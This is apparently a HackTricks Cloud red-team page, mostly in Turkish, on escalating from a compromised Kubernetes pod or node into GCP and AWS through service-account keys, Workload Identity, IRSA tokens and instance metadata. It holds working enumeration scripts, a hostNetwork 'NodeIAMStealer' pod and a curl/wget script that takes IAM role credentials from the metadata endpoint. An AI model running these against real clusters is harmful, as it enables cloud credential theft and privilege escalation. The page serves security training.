Kubernetes Pivoting to Clouds

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

GCP

Eğer GCP içinde bir k8s kümesi çalıştırıyorsanız, muhtemelen küme içinde çalışan bazı uygulamaların GCP'ye erişimi olmasını istersiniz. Bunu yapmanın 2 yaygın yolu vardır:

GCP-SA anahtarlarını gizli olarak bağlama

Kubernetes uygulamasına GCP'ye erişim vermenin yaygın bir yolu:

• Bir GCP Hizmet Hesabı oluşturmak

• Üzerine istenen izinleri bağlamak

• Oluşturulan SA'nın bir json anahtarını indirmek

• Bunu pod içinde bir gizli olarak bağlamak

• json dosyasının bulunduğu yola işaret eden GOOGLE_APPLICATION_CREDENTIALS ortam değişkenini ayarlamak.

Bu nedenle, bir saldırgan olarak, bir pod içindeki bir konteyneri ele geçirirseniz, o env değişkenini ve GCP kimlik bilgileri ile json dosyalarını kontrol etmelisiniz.

GSA json'unu KSA gizli ile ilişkilendirme

Bir GSA'ya GKE kümesine erişim vermenin bir yolu, onları şu şekilde bağlamaktır:

• Aşağıdaki komutu kullanarak GKE kümenizle aynı ad alanında bir Kubernetes hizmet hesabı oluşturun:

Copy codekubectl create serviceaccount <service-account-name>

• GKE kümesine erişim vermek istediğiniz GCP hizmet hesabının kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu aşağıdaki örnekte gösterildiği gibi gcloud komut satırı aracıyla yapabilirsiniz:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• Aşağıdaki komutu kullanarak Kubernetes Secret'ı Kubernetes hizmet hesabına bağlayın:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

İkinci adımda, GSA'nın kimlik bilgileri KSA'nın sırrı olarak ayarlandı. Ardından, eğer GKE kümesinin içinden bu sırrı okuyabiliyorsanız, bu GCP hizmet hesabına yükseltebilirsiniz.

GKE İş Yükü Kimliği

İş Yükü Kimliği ile, bir Kubernetes hizmet hesabını Google hizmet hesabı olarak hareket edecek şekilde yapılandırabiliriz. Kubernetes hizmet hesabıyla çalışan Pod'lar, Google Cloud API'lerine erişirken otomatik olarak Google hizmet hesabı olarak kimlik doğrulaması yapacaktır.

Bu davranışı etkinleştirmek için ilk adımlar dizisi, GCP'de İş Yükü Kimliğini etkinleştirmek (adımlar) ve k8s'nin taklit etmesini istediğiniz GCP SA'yı oluşturmaktır.

• Yeni bir kümede İş Yükü Kimliğini etkinleştir

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• Yeni bir nodepool oluşturun/güncelleyin (Autopilot kümeleri buna ihtiyaç duymaz)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• K8s'den GCP izinleri ile taklit edilecek GCP Hizmet Hesabı oluşturun:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• Küme ile bağlanın ve kullanmak için hizmet hesabı oluşturun

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• GSA'yı KSA ile bağlayın

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• KSA ile bir pod çalıştırın ve GSA'ya erişimi kontrol edin:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Aşağıdaki komutu, gerekirse kimlik doğrulamak için kontrol edin:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

K8s içinde bir saldırgan olarak, iam.gke.io/gcp-service-account anotasyonu olan SAs'yi aramalısınız çünkü bu, SA'nın GCP'de bir şeye erişebileceğini gösterir. Diğer bir seçenek, kümedeki her KSA'yı kötüye kullanmaya çalışmak ve erişimi olup olmadığını kontrol etmektir. GCP'den, bağlamaları listelemek ve Kubernetes içindeki SAs'ye hangi erişimi verdiğinizi bilmek her zaman ilginçtir.

Bu, o anotasyonu aramak için tüm podların tanımlarında kolayca döngü yapmayı sağlayan bir betiktir:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (Podlar için IAM rolü)

Podlara IAM Rolleri vermenin (eski) bir yolu, bir Kiam veya bir Kube2IAM sunucusu kullanmaktır. Temelde, kümenizde bir tür ayrıcalıklı IAM rolü ile bir daemonset çalıştırmanız gerekecek. Bu daemonset, ihtiyaç duyan podlara IAM rolleri erişimi sağlayacak olanıdır.

Öncelikle, hangi rollerin namespace içinde erişilebileceğini yapılandırmanız gerekiyor ve bunu namespace nesnesi içinde bir açıklama ile yapıyorsunuz:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Bir namespace IAM rolleri ile yapılandırıldığında, Pod'ların sahip olabileceği her pod tanımında istediğiniz rolü şu şekilde belirtebilirsiniz:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Bir saldırgan olarak, eğer pod'larda veya ad alanlarında bu notları bulursanız veya çalışan bir kiam/kube2iam sunucusu (muhtemelen kube-system'de) varsa, pod'lar tarafından zaten kullanılan her rolü taklit edebilirsiniz ve daha fazlasını (AWS hesabına erişiminiz varsa rolleri listeleyin).

IAM Rolü ile Pod Oluştur

Belirtilen IAM rolü, kiam/kube2iam rolü ile aynı AWS hesabında olmalı ve o rol buna erişim sağlayabilmelidir.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Rolü için K8s Servis Hesapları OIDC Üzerinden

Bu, AWS tarafından önerilen yoldur.

1. Öncelikle küme için bir OIDC sağlayıcısı oluşturmanız gerekir.

2. Ardından, SA'nın ihtiyaç duyacağı izinlerle bir IAM rolü oluşturun.

3. IAM rolü ile SA arasında bir güven ilişkisi oluşturun adı (veya rolü tüm namespace'lerin SAs'ına erişim sağlayacak namespace'ler). Güven ilişkisi esasen OIDC sağlayıcı adı, namespace adı ve SA adını kontrol edecektir.

4. Son olarak, rolün ARN'sini belirten bir anotasyon ile bir SA oluşturun ve o SA ile çalışan podlar rolün token'ına erişime sahip olacaktır. Token, bir dosyaya yazılır ve yol AWS_WEB_IDENTITY_TOKEN_FILE içinde belirtilir (varsayılan: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

To get aws using the token from /var/run/secrets/eks.amazonaws.com/serviceaccount/token run:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Bir saldırgan olarak, eğer bir K8s kümesini sayabiliyorsanız, AWS'ye yükseltmek için o anotasyona sahip hizmet hesaplarını kontrol edin. Bunu yapmak için, sadece exec/create bir pod kullanarak bir IAM yetkili hizmet hesabı ile token'ı çalın.

Ayrıca, bir pod'un içindeyseniz, AWS_ROLE_ARN ve AWS_WEB_IDENTITY_TOKEN gibi ortam değişkenlerini kontrol edin.

Bazen bir rolün Güven Politikası kötü yapılandırılmış olabilir ve beklenen hizmet hesabına AssumeRole erişimi vermek yerine tüm hizmet hesaplarına verir. Bu nedenle, kontrol edilen bir hizmet hesabında bir anotasyon yazma yeteneğiniz varsa, role erişebilirsiniz.

Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:

AWS - Federation Abuse

IAM Rolleri Olan SAs ile Pod'ları Bul

Bu, o anotasyonu aramak için tüm pod'lar ve sas tanımlarını kolayca döngüye sokan bir betiktir:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Önceki bölüm, podlar ile IAM Rolleri nasıl çalınır hakkında idi, ancak K8s kümesinin bir Node'u bir bulut içindeki örnek olacağını unutmayın. Bu, Node'un çalmaya değer yeni bir IAM rolüne sahip olma olasılığının yüksek olduğu anlamına gelir (genellikle bir K8s kümesinin tüm node'ları aynı IAM rolüne sahip olacağından, her node'u kontrol etmeye çalışmak çok da mantıklı olmayabilir).

Ancak, node'dan metadata uç noktasına erişim için önemli bir gereklilik vardır, node'da olmanız gerekir (ssh oturumu?) veya en azından aynı ağda olmalısınız:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM Rolü Tokenunu Çal

Daha önce IAM Rolleri Pod'lara nasıl eklenir veya örneği bağlı olan IAM Rolünü çalmak için Node'a nasıl kaçılır konularını tartıştık.

Aşağıdaki scripti kullanarak çalıştığınız yeni IAM rolü kimlik bilgilerini çalabilirsiniz:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Referanslar

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.